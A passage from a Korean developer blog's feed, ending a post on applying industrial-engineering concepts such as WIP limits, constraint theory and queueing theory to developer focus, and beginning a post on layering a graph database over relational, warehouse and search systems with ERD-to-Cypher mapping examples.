&lt;li&gt;칸반 보드의 &quot;진행 중&quot; 열에 &lt;strong&gt;숫자 상한&lt;/strong&gt;을 둡니다. 개인은 1~2개, 팀은 인원수보다 적게.&lt;/li&gt;
&lt;li&gt;새 일을 시작하기 전에 &lt;strong&gt;&quot;Stop starting, start finishing&quot;&lt;/strong&gt; — 시작을 멈추고, 끝내는 걸 먼저.&lt;/li&gt;
&lt;li&gt;상한에 걸렸으면 새 티켓을 끌어오는 대신, 막힌 일을 같이 뚫습니다. 이게 자연스럽게 &lt;strong&gt;병목 발견&lt;/strong&gt;으로 이어집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3. 병목을 찾아라 — 제약 이론(TOC)&lt;/h2&gt;
&lt;p&gt;엘리 골드랫의 &lt;strong&gt;제약 이론(Theory of Constraints)&lt;/strong&gt; 은 이렇게 말합니다. &lt;strong&gt;&quot;전체 시스템의 속도는 가장 느린 한 곳(병목)이 결정한다.&quot;&lt;/strong&gt; 병목이 아닌 곳을 아무리 최적화해도 전체는 1초도 빨라지지 않습니다.&lt;/p&gt;
&lt;p&gt;개발 파이프라인에서 병목은 보통 &lt;strong&gt;사람&lt;/strong&gt;입니다. PR이 24시간씩 리뷰 대기에 걸려 있다면, 개발자가 코드를 아무리 빨리 짜도 가치는 그 속도로 흐르지 않습니다. 리뷰어가 병목이라면, 더 빨리 코딩하는 게 아니라 &lt;strong&gt;리뷰 대기를 줄이는 것&lt;/strong&gt;이 답입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt; — 골드랫의 5단계를 개발 버전으로:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;병목을 찾는다&lt;/strong&gt;: 티켓이 가장 오래 머무는 단계는? (보통 &quot;리뷰 대기&quot; 또는 &quot;QA 대기&quot;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;병목을 최대한 활용한다&lt;/strong&gt;: 리뷰어가 병목이면, 리뷰어의 시간을 사소한 일로 낭비하지 않게 합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;나머지를 병목에 맞춘다&lt;/strong&gt;: PR을 작게(300줄 이하) 쪼개 리뷰 부담을 낮춥니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;병목을 확장한다&lt;/strong&gt;: 리뷰어를 늘리거나, 페어 리뷰·자동화 린트로 사람 부담을 덜어냅니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;반복한다&lt;/strong&gt;: 병목이 옮겨가면 다시 1번으로.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. 가동률 100%를 노리지 마라 — 대기행렬 이론&lt;/h2&gt;
&lt;p&gt;이건 가장 반직관적이면서 가장 중요한 개념입니다. &lt;strong&gt;대기행렬 이론(Queueing Theory)&lt;/strong&gt; 은 이렇게 경고합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;시스템 가동률이 80%를 넘어가면, 대기 시간이 &lt;strong&gt;기하급수적으로&lt;/strong&gt; 폭증한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;고속도로를 떠올려 보세요. 차가 적당히 있을 땐 잘 흐르지만, 점유율이 어느 임계점을 넘는 순간 갑자기 정체가 시작됩니다. 가동률 95%인 도로가 70%인 도로보다 훨씬 느립니다.&lt;/p&gt;
&lt;p&gt;개발자도 똑같습니다. 캘린더를 회의와 작업으로 100% 채우면, 예상치 못한 장애·긴급 요청 하나가 들어오는 순간 &lt;strong&gt;모든 일정이 줄줄이 밀립니다.&lt;/strong&gt; 여유(slack)가 없으면 시스템은 작은 충격에도 무너집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;개인 일정은 &lt;strong&gt;70~80%만 계획&lt;/strong&gt;하고 나머지는 비워둡니다. 그 여백이 &quot;게으름&quot;이 아니라 &lt;strong&gt;시스템 안정성&lt;/strong&gt;입니다.&lt;/li&gt;
&lt;li&gt;스프린트도 가용 시간을 꽉 채워 잡지 않습니다. 버퍼 없는 계획은 반드시 깨집니다.&lt;/li&gt;
&lt;li&gt;&quot;바쁜데 일이 안 끝난다&quot;는 신호는 게으름이 아니라 &lt;strong&gt;가동률 과부하&lt;/strong&gt;의 증거입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;5. 7대 낭비를 제거하라 — 개발판 무다(Muda)&lt;/h2&gt;
&lt;p&gt;도요타 생산방식은 가치를 만들지 않는 모든 활동을 &lt;strong&gt;낭비(무다, 無駄)&lt;/strong&gt; 로 보고 7가지로 분류했습니다. 개발 버전으로 번역하면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;제조업 7대 낭비&lt;/th&gt;
&lt;th&gt;개발 조직에서의 모습&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;과잉 생산&lt;/td&gt;
&lt;td&gt;아무도 안 쓰는 기능을 미리 만든다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대기&lt;/td&gt;
&lt;td&gt;리뷰·배포 승인·답변을 기다린다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;운반&lt;/td&gt;
&lt;td&gt;부서 간 핸드오프가 많아 정보가 떠돈다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;과잉 가공&lt;/td&gt;
&lt;td&gt;필요 이상으로 완벽하게 다듬는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재고&lt;/td&gt;
&lt;td&gt;머지 안 된 브랜치·미완성 티켓이 쌓인다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;동작(불필요한 이동)&lt;/td&gt;
&lt;td&gt;도구·환경을 매번 다시 세팅한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;불량&lt;/td&gt;
&lt;td&gt;버그 → 재작업 → 다시 리뷰의 악순환&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 표를 한 번 우리 팀에 대입해보면, &quot;집중을 방해하는 것&quot;의 정체가 대부분 이 7가지 중 하나라는 걸 알게 됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt; — 한 주에 한 번, &lt;strong&gt;&quot;이번 주 내 시간을 가장 많이 잡아먹은 낭비는?&quot;&lt;/strong&gt; 을 위 표에서 골라보세요. 가장 큰 낭비 하나만 줄여도 집중 시간이 눈에 띄게 늘어납니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;6. 인간공학으로 환경을 설계하라 — 물리적 마찰 제거&lt;/h2&gt;
&lt;p&gt;산업공학의 한 갈래인 &lt;strong&gt;인간공학(Ergonomics)&lt;/strong&gt; 은 &quot;사람이 무리 없이 일할 수 있게 환경을 사람에 맞춘다&quot;는 학문입니다. 작업대 높이, 공구 위치, 조명 하나까지 피로와 실수를 좌우합니다.&lt;/p&gt;
&lt;p&gt;개발자의 &quot;작업대&quot;는 물리적 공간 + 개발 환경입니다. 사소해 보이지만, 매일 반복되는 &lt;strong&gt;작은 마찰&lt;/strong&gt;이 집중을 갉아먹습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;물리 환경&lt;/strong&gt;: 듀얼 모니터, 소음 차단(노이즈캔슬링·화이트노이즈), 시야에서 휴대폰 치우기.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;개발 환경&lt;/strong&gt;: 빌드/테스트가 느리면 그 자체가 컨텍스트 스위칭을 강제합니다. 빌드 1분 단축이 집중 보호에 직결됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;반복 작업 자동화&lt;/strong&gt;: 매번 손으로 하는 셋업(환경 변수, 시드 데이터, 배포)을 스크립트로. &quot;동작 낭비&quot;를 없애는 인간공학입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;7. 측정하고 개선하라 — 데이터 없는 개선은 미신&lt;/h2&gt;
&lt;p&gt;산업공학의 마지막 원칙은 &lt;strong&gt;&quot;측정하지 않으면 개선할 수 없다&quot;&lt;/strong&gt; 입니다. 식스시그마의 DMAIC(정의-측정-분석-개선-관리)가 대표적이죠. 감으로 &quot;요즘 집중이 안 돼&quot;라고 하면 막연하지만, 숫자로 보면 손댈 곳이 보입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt; — 거창한 도구는 필요 없습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일주일간 &lt;strong&gt;방해받은 횟수&lt;/strong&gt;를 간단히 기록(정 표시)만 해도 패턴이 보입니다.&lt;/li&gt;
&lt;li&gt;칸반 보드의 &lt;strong&gt;리드 타임&lt;/strong&gt;(티켓 생성→완료까지 걸린 시간)을 봅니다. 어디서 막히는지 한눈에 드러납니다.&lt;/li&gt;
&lt;li&gt;단, &lt;strong&gt;DORA 지표&lt;/strong&gt;(배포 빈도, 리드 타임, 변경 실패율, 복구 시간)처럼 &lt;strong&gt;흐름&lt;/strong&gt;을 측정하세요. &quot;코드 줄 수&quot;나 &quot;커밋 수&quot; 같은 활동량 지표는 오히려 잘못된 행동을 유도합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 요약 — 집중 환경 설계 체크리스트&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;산업공학 개념&lt;/th&gt;
&lt;th&gt;개발 적용&lt;/th&gt;
&lt;th&gt;오늘 할 수 있는 행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SMED (셋업 단축)&lt;/td&gt;
&lt;td&gt;컨텍스트 스위칭 비용&lt;/td&gt;
&lt;td&gt;알림 OFF + 포커스 블록 2시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WIP 제한&lt;/td&gt;
&lt;td&gt;동시 작업 줄이기&lt;/td&gt;
&lt;td&gt;&quot;진행 중&quot; 1~2개로 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제약 이론&lt;/td&gt;
&lt;td&gt;병목 = 사람/리뷰&lt;/td&gt;
&lt;td&gt;PR 작게, 리뷰 24h 내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대기행렬 이론&lt;/td&gt;
&lt;td&gt;가동률 80% 룰&lt;/td&gt;
&lt;td&gt;일정의 20%는 비워두기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7대 낭비&lt;/td&gt;
&lt;td&gt;가치 없는 활동 제거&lt;/td&gt;
&lt;td&gt;주간 최대 낭비 1개 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인간공학&lt;/td&gt;
&lt;td&gt;물리·환경 마찰 제거&lt;/td&gt;
&lt;td&gt;빌드 단축·반복 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DMAIC&lt;/td&gt;
&lt;td&gt;측정 기반 개선&lt;/td&gt;
&lt;td&gt;리드 타임·방해 횟수 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 표가 알려주는 한 가지 진실 — &lt;strong&gt;집중은 타고나는 능력이 아니라 설계할 수 있는 시스템&lt;/strong&gt;이라는 겁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 산업공학 이론을 개발에 적용한 실제 사례가 있나요?&lt;/strong&gt;
A. 네, 가장 유명한 게 &lt;strong&gt;린 소프트웨어 개발(Lean Software Development)&lt;/strong&gt; 과 &lt;strong&gt;칸반&lt;/strong&gt;입니다. 둘 다 도요타 생산방식에서 직접 유래했습니다. 메리·톰 포펜딕 부부의 『린 소프트웨어 개발』, 데이비드 앤더슨의 『칸반』이 이 다리를 놓은 책입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 혼자 일하는 개발자도 적용할 수 있나요?&lt;/strong&gt;
A. 오히려 더 쉽습니다. 조직 합의가 필요한 No-Meeting 정책은 빼더라도, &lt;strong&gt;WIP 제한(동시 1~2개), 포커스 블록, 알림 Pull 전환&lt;/strong&gt;은 혼자서도 당장 시작할 수 있는 것들입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. WIP를 줄이면 일이 더 느려지지 않나요?&lt;/strong&gt;
A. 직관과 반대로 &lt;strong&gt;빨라집니다.&lt;/strong&gt; 리틀의 법칙대로, 동시에 붙잡은 일이 적을수록 각각의 완료 시간이 짧아집니다. &quot;동시에 많이&quot;가 아니라 &quot;하나씩 빨리 끝내기&quot;가 전체 처리량을 높입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘은 산업공학의 렌즈로 &lt;strong&gt;개발자 집중 환경&lt;/strong&gt;을 다시 봤습니다. 핵심을 한 문장으로 줄이면 — &lt;strong&gt;&quot;집중을 방해하는 건 당신의 의지박약이 아니라 흐름이 막힌 시스템&quot;&lt;/strong&gt; 이라는 겁니다.&lt;/p&gt;
&lt;p&gt;100년 전 공장 라인을 매끄럽게 만든 원리들이, 지금 우리 키보드 앞에서도 똑같이 작동합니다. 의지를 쥐어짜는 대신, &lt;strong&gt;흐름을 막는 구조 하나를 걷어내는 것&lt;/strong&gt; — 거기서부터 시작해보면 어떨까요?&lt;/p&gt;
&lt;p&gt;여러분의 집중을 가장 많이 방해하는 &quot;병목&quot;은 무엇인가요? 댓글로 공유해주시면, 함께 풀어보겠습니다. 🙂&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;다음 글&lt;/strong&gt;: &lt;a href=&quot;/ai-developer-focus-industrial-engineering/&quot;&gt;AI로 개발자 집중력 높이기 — 산업공학으로 본 5가지 AI 활용 전략&lt;/a&gt;
함께 읽으면 좋은 글: &lt;a href=&quot;/team-anti-patterns/&quot;&gt;개발팀을 망치는 방법 7가지 — 반대로만 하면 좋은 팀이 됩니다&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title><![CDATA[정형 DB·빅데이터와 함께 가기 — 그래프는 대체가 아니라 보강이다 (확장편)]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "회사 PG에 ERD가 잘 잡혀 있고 Snowflake랑 ES도 굴리는데, 그래프 DB까지 깔라고요?" 6편 회고로 시리즈를 마무리한 뒤 받은 피드백 중 가장 묵직한 질문이었습니다. 사실 1인 블로그 10…]]></description><link>https://blog.javapark.kr/ontology-search-07-structured-and-bigdata/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-07-structured-and-bigdata/</guid><pubDate>Tue, 26 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;회사 PG에 ERD가 잘 잡혀 있고 Snowflake랑 ES도 굴리는데, 그래프 DB까지 깔라고요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;/ontology-search-06-lessons/&quot;&gt;6편 회고&lt;/a&gt;로 시리즈를 마무리한 뒤 받은 피드백 중 가장 묵직한 질문이었습니다. 사실 1인 블로그 100개 글이라는 작은 예제로 풀었던 시리즈여서, &lt;strong&gt;이미 정형 DB와 빅데이터 스택이 깔린 조직 관점&lt;/strong&gt;이 약했어요. 그래서 한 편 더 붙입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;그래프 DB는 RDB·DW·검색엔진을 대체하는 게 아니라 위에 얹는 한 층&lt;/strong&gt;입니다. 각자 잘하는 영역이 명확해서, 한 곳에 다 욱여넣으려는 순간 운영이 무너집니다.&lt;/p&gt;
&lt;p&gt;이번 편에서는 다섯 가지를 다룹니다. &lt;strong&gt;(1) 4-tier 데이터 아키텍처, (2) ERD ↔ 온톨로지 매핑, (3) 동기화 패턴, (4) 빅데이터 스케일 전략, (5) 안티패턴.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4-tier 데이터 아키텍처 — 각자 잘하는 일&lt;/h2&gt;
&lt;p&gt;먼저 큰 그림. 운영 중인 데이터 시스템을 네 층으로 나눠봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;층&lt;/th&gt;
&lt;th&gt;대표 도구&lt;/th&gt;
&lt;th&gt;잘하는 일&lt;/th&gt;
&lt;th&gt;못하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;운영 정형 DB (OLTP)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PostgreSQL, MySQL&lt;/td&gt;
&lt;td&gt;트랜잭션, 강한 일관성, 정형 스키마 검증&lt;/td&gt;
&lt;td&gt;다단계 관계 탐색, 자유 텍스트 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;데이터 웨어하우스 (OLAP)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Snowflake, BigQuery&lt;/td&gt;
&lt;td&gt;대용량 집계, 분석 쿼리, 컬럼 압축&lt;/td&gt;
&lt;td&gt;실시간 트랜잭션, 관계 깊이 탐색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;검색엔진&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Elasticsearch, OpenSearch&lt;/td&gt;
&lt;td&gt;자유 텍스트, 패싯, 역색인&lt;/td&gt;
&lt;td&gt;관계 추적, 정확한 결과 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;지식 그래프&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Neo4j, Memgraph&lt;/td&gt;
&lt;td&gt;관계 탐색, 의미 매칭(+벡터), 사실 추론&lt;/td&gt;
&lt;td&gt;대용량 집계, 트랜잭션 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 표를 외워두면 다음 질문에 즉답이 됩니다. &quot;이 데이터를 어디에 둬야 하나?&quot;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용자/주문/결제 → OLTP&lt;/li&gt;
&lt;li&gt;일별 매출 집계 → DW&lt;/li&gt;
&lt;li&gt;상품 검색·자동완성 → 검색엔진&lt;/li&gt;
&lt;li&gt;카테고리·인용·추천 관계 → 지식 그래프&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;그래프 DB는 보통 &quot;지식 레이어&quot;&lt;/strong&gt; 역할입니다. 원천 데이터는 OLTP·DW에 그대로 두고, 그래프는 &lt;strong&gt;관계와 의미를 압축한 작은 사본&lt;/strong&gt;을 가집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ERD ↔ 온톨로지 매핑&lt;/h2&gt;
&lt;p&gt;이미 정형 DB에 ERD가 있다면, 그 ERD가 곧 온톨로지의 1차 초안입니다. 매핑 규칙은 단순합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ERD&lt;/th&gt;
&lt;th&gt;온톨로지 / 그래프&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;테이블&lt;/td&gt;
&lt;td&gt;클래스(Label)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PK&lt;/td&gt;
&lt;td&gt;Unique constraint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FK&lt;/td&gt;
&lt;td&gt;Relationship type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;일반 컬럼&lt;/td&gt;
&lt;td&gt;Property&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;조인 테이블 (N:N)&lt;/td&gt;
&lt;td&gt;관계로 직접 변환 (별도 노드 없이)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;상속 테이블&lt;/td&gt;
&lt;td&gt;다중 라벨 또는 subClassOf (보통 다중 라벨이 가벼움)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;예시 — 단순 e-commerce ERD를 그래프로:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- ERD (Postgres)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; products &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id UUID PK&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; category_id UUID FK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; categories &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id UUID PK&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; parent_id UUID FK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; product_tags &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;product_id UUID&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tag_id UUID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;-- 조인 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; tags &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id UUID PK&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;→ 그래프로:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 라벨과 관계만 남기고, 조인 테이블은 관계로 흡수&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Product&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;IN_CATEGORY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Category&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Category&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;CHILD_OF&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Category&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Product&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;HAS_TAG&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tag&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 한 가지 결정이 필요합니다. &lt;strong&gt;그래프에 어떤 컬럼까지 옮길 것인가?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;지침: &lt;strong&gt;검색·관계 탐색에 쓰는 컬럼만&lt;/strong&gt;. 가격·재고처럼 트랜잭션이 자주 일어나고 시점 정합성이 중요한 컬럼은 그래프로 옮기지 마세요. OLTP가 항상 정답입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;동기화 패턴 — 그래프는 어떻게 최신 상태가 되는가&lt;/h2&gt;
&lt;p&gt;그래프가 사본이라면, 원천(OLTP/DW)이 바뀔 때 그래프도 따라가야 합니다. 세 가지 패턴이 있습니다.&lt;/p&gt;
&lt;h3&gt;1) 배치 동기화 (가장 단순)&lt;/h3&gt;
&lt;p&gt;야간 1회 또는 시간당 1회, ETL 잡으로 그래프를 다시 적재. 3편의 적재 스크립트가 정확히 이 패턴입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;언제&lt;/strong&gt;: 데이터 변경이 느리고, 분 단위 지연이 허용될 때&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;장점&lt;/strong&gt;: 운영이 가장 쉬움. 실패해도 재실행&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단점&lt;/strong&gt;: 신선도(freshness) 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2) CDC (Change Data Capture)&lt;/h3&gt;
